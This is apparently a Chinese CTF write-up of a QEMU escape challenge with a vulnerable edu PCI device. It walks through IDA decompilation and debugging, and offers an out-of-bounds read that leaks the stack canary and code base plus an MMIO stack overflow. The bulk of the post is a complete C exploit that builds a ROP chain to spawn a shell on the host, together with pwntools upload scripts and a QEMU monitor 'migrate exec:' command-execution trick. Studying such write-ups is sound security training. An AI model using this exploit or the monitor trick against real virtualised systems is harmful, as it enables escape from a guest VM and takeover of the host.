前言
记录一下qemu逃逸的基础知识以及做题相关的技巧,因为笔者还比较菜,如有写的不好的地方还望各位斧正
例题是津门杯的qemu逃逸,个人觉得比较简单很适合入门
分析
run.sh
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device edu,id=vda
非预期
首先我们需要注意的-monitor这一句,因为如果有的题目没有加这一句则有可能导致非预期的产生,具体的做法可以参考:链接
步骤是首先ctrl+a 然后输入c回车之后即可进入monitor模式,然后就可以为所欲为了,可以用migrate来执行命令读取flag
migrate "exec:cat flag 1>&2"
正常分析
如果有monitor这一句的话那就接着分析
可以注意到-device edu,我们将所给的qemu-system-x86_64文件导进ida中,因为文件比较大,因此需要一段时间,导入成功后我们搜索edu相关函数,可以看到如下
通常漏洞是数组越界以及栈溢出,产生漏洞的函数常常集中在pmmio以及mmio或者timer函数,因此我们着重分析这些函数,当然也不排除特殊情况,具体还要看相关题目来做具体的分析,因为本题只有mmio函数,我们只要分析mmio函数即可
这里还有一个注意点,由于ida分析函数的顺序问题,可能会出现试别不出结构题的情况这时候我们只需要切换到汇编模式,查看相应的rdi对应的结构体的名称,然后在反汇编的页面将rdi按y修改类型即可例如
可以看到初始时没有试别结构体的,然后我们按y来修改类型
可以看到成功识别结构体
edu_mmio_write
void __fastcall edu_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rdi
__int64 v5; // rax
__int64 v6; // rdx
_BYTE v7[24]; // [rsp+0h] [rbp-28h]
unsigned __int64 v8; // [rsp+18h] [rbp-10h]
v8 = __readfsqword(0x28u);
if ( addr <= 0xFF && size == 4 )
{
cmd_buf[(unsigned int)addr] = val;
}
else if ( addr == 296 )
{
if ( buf_len > 0 )
{
v4 = (unsigned int)(buf_len - 1);
v5 = 0LL;
do
{
v7[v5] = cmd_buf[v5];
v6 = v5++;
}
while ( v4 != v6 );
}
if ( v7[4] == 3 )
buf_len = 291;
}
else if ( addr == 304 )
{
buf_len = val;
}
通过分析可以看到该函数主要实现了以下作用:
addr <= 0xff 将val赋值给cmd_buf[addr]处
addr = 0x130 将val赋值给buf_len
addr = 0x128 && buf_len>0 && v6!=v4将cmd_buf数组的内容逐字节赋值给v7数组
这里很容易发现有个栈溢出漏洞,可以溢出v7来达到栈溢出的目的
edu_mmio_read
uint64_t __fastcall edu_mmio_read(EduState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
char buf[16]; // [rsp+10h] [rbp-38h]
unsigned __int64 v5; // [rsp+28h] [rbp-20h]
v5 = __readfsqword(0x28u);
if ( addr <= 0x2FF && size == 4 )
return buf[(unsigned int)addr];
if ( addr <= 0x7F && size != 4 )
return buf_len + cmd_buf[addr];
if ( ((size - 4) & 0xFFFFFFFB) == 0 || (result = -1LL, addr <= 0x7F) )
{
if ( addr <= 0x24 )
__asm { jmp rax }
if ( addr != 144 )
{
if ( addr <= 0x90 )
{
if ( addr == 128 )
return opaque->dma.src;
if ( addr == 136 )
return opaque->dma.dst;
}
else if ( addr == 152 )
{
return opaque->dma.cmd;
}
return -1LL;
}
result = opaque->dma.cnt;
}
return result;
}
这里调试的时候发现size恒等于4不知道为什么,希望有知道的师傅可以说一下。
因此按调试来说该函数只有一个功能即单字节返回buf[addr],这里也很容易的发现有一个数组越界漏洞可以越界读其他我们想要的内容,由于qemu-system文件已经有许多我们想要的函数因此至于要读取canary以及程序基质就可以
首先记录一下编程访问mmio的函数
实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:
unsigned char* mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
}
具体要open的文件则要通过运行起来的虚拟机来看,操作步骤如下图所示
通过对应的数字我们可以定位到相应的文件,即要打开
/sys/devices/pci0000:00/0000:00:04.0/resouse0
,其中resouse0对应的mmio,resouse1对应的pmio,因为本题没有pmio因此便没有resouse1文件,我们cat一下resouse
文件看一下第一行对应的就是resouse0的
start-address
end-address
flags
编程访问PMIO
UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN
以及 OUT
指令去访问。可以使用IN
和OUT
去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>
,函数的具体用法可以使用man
手册查看。
还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff
之间的端口,使用ioperm(from, num, turn_on)
即可;对于0x3ff
以上的端口,则该调用执行iopl(3)
函数去允许访问所有的端口(可使用man ioperm
和man iopl
去查看函数)。
典型代码如下:
uint32_t pmio_base=0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);
}
调试
个人认为比较方便的调试方法和调试kernel的方法类似,就是打包解包rootfs.cpio
这里给出打包和解包的脚本将其放入/usr/local/bin目录下即可
解包:命令hen
usage:hen 文件名
hen rootfs.cpio 会在当前目录下生成core文件夹,需要安装万能解压神器unar
#!/bin/bash
mv $1 $1.gz
unar $1.gz
mv $1 core
mv $1.gz $1
echo "[+]Successful"
打包:命令gen
usage:gen 文件名
例如gen rootfs.cpio 需要在解包生成的core文件夹下执行
#!/bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
mv $1 ..
具体的调试步骤
具体的调试步骤是在解包生成的core文件夹下写入exp,然后将其编译成静态文件,在然后将其打包,运行run.sh之后在新的窗口执行`ps -ax |grep "qemu"获取相应的进程号,然后创建新的窗口执行下面的命令
sudo gdb ./qemu-system-x86_64
attach 相应的进程号
然后就可以调试了,下断点的方法有两种,一种是直接b 函数名称来下断点,一种是用b *$rebase(函数偏移地址)来下,然后在qemu中运行exp文件即可触发断点
最后就是poc编写了,由于本题漏洞较为简单,因此直接放exp了,有点丑==
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define DMABASE 0x40000
char *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint8_t mmio_read(uint32_t addr)
{
return *((uint8_t*)(mmio_mem + addr));
}
void mmio_write(uint32_t addr, uint8_t value)
{
*((uint8_t*)(mmio_mem + addr)) = value;
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
uint8_t canary[0x8];
unsigned int i = 0;
for(i = 0;i<0x8;i++){
canary[i] = mmio_read(0x18+i);
canary[i] = canary[i] & 0xff;
printf("0x%llx\n", canary[i]);
}
uint8_t codebase[0x8];
for(i = 0;i<0x8;i++){
codebase[i] = mmio_read(0x38+i);
codebase[i] = codebase[i] & 0xff;
printf("codebase[%d]: 0x%llx\n",i,codebase[i]);
}
uint8_t codebase1[0x8];
uint64_t codebase_addr = codebase[0]*1;
codebase_addr += codebase[1]*0x100;
codebase_addr += codebase[2]*0x10000;
codebase_addr += codebase[3]*0x1000000;
codebase_addr += codebase[4]*0x100000000;
codebase_addr += codebase[5]*0x10000000000;
codebase_addr += codebase[6]*0x1000000000000;
codebase_addr -= 0x31f7c2;
printf("0x%llx\n",codebase_addr);
uint64_t pop_rax = 0x0000000000303b55+codebase_addr;
uint64_t pop_rdi = codebase_addr + 0x00000000002c9f73;
uint64_t pop_rsi = 0x00000000002cb007 + codebase_addr;
uint64_t pop_rdx = 0x000000000030d0b5 + codebase_addr;
uint64_t sh_addr = 0x85a25c + codebase_addr;
uint64_t system_addr = 0x2c4764 + codebase_addr;
uint64_t pop_rcx = 0x0000000000304787+codebase_addr;
uint64_t pop_syscall = 0x0000000000608041+codebase_addr;
printf("system: 0x%llx\n",system_addr);
printf("pop_rdi: 0x%llx\n",pop_rdi);
printf("pop_rsi: 0x%llx\n",pop_rsi);
uint64_t rop[0x200] = {0};
//for i in range()
for(i = 0;i < 0x8;i++){
uint8_t x = 8*i;
mmio_write(0x28+i,(pop_rdi >> (x)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t y = 8*i;
mmio_write(0x30+i,(sh_addr >> (y)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t y = 8*i;
mmio_write(0x38+i,(pop_rsi >> (y)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t y = 8*i;
mmio_write(0x40+i,'\x00');
}
for(i = 0;i < 0x8;i++){
uint8_t y = 8*i;
mmio_write(0x48+i,(pop_rdx >> (y)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t y = 8*i;
mmio_write(0x50+i,'\x00');
}
for(i = 0;i < 0x8;i++){
uint8_t z = 8*i;
mmio_write(0x58+i,(pop_rax >> (z)) & 0xff);
}
uint64_t rax = 59;
for(i = 0;i < 0x8;i++){
uint8_t z = 8*i;
mmio_write(0x60+i,(rax >> (z)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t z = 8*i;
mmio_write(0x68+i,(pop_syscall >> (z)) & 0xff);
}
for(i = 0;i < 0x8;i++){
uint8_t z = 8*i;
mmio_write(0x70+i,(rax >> (z)) & 0xff);
}
for(i = 0;i< 0x8;i++){
mmio_write(0x20+i-0x8,canary[i]);
}
mmio_write(0x128,'a');
//printf("0x%s\n",canary);
}
//b *$rebase(0x4E59B2)
上传脚本可以用下面的脚本上传
上传脚本:
需要在当前目录下创建一个poc文件并将其中的c代码命名为exp.c
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
# context.log_level = 'debug'
cmd = '$ '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()
# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)
exploit(p)
上传脚本2:
#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()
参考
https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup#strng_mmio_read
网友评论